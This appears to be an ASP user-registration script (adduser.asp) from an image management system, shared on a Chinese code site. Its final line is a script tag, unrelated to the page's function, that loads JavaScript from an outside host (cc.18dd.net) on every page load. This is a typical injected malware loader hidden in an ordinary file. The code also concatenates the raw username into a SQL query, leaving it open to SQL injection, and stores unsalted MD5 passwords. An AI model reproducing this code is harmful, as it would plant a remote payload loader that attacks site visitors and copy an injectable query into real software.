adduser.asp

来自「一款有用的图片管理系统」· ASP 代码 · 共 31 行

<!--#include file="conn.asp"-->
<!--#include file="web.asp"-->
<!--#include file="md5.asp"-->
<%
if rs5("addable") then
	username=trim(request(""&rs5("bbsUser")&""))
	password=md5(trim(request(""&rs5("bbsPass")&"")))
	if request("style")="add" then
		sql="select * from admin where admin='"&username&"'"
		set rs=server.CreateObject("adodb.recordset")
		rs.open sql,conn,1,3
		if rs.eof or rs.bof then
			rs.addnew
			rs("admin")=username
			rs("password")=password
			rs("flag")=1
			rs.update
			
			response.Write("<script>alert('恭喜你,注册成功!现在可以登录上传图片了.');this.location.href='login.asp';</script>")
			response.end
		else
			response.Write("<script>alert('对不起,这个用户已经注册了!');this.location.href='../index.asp';</script>")
			response.End()
		end if
	end if
else
    response.Write("<script>alert('对不起,目前没有开放会员注册功能!');history.back();</script>")
	response.end
end if
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>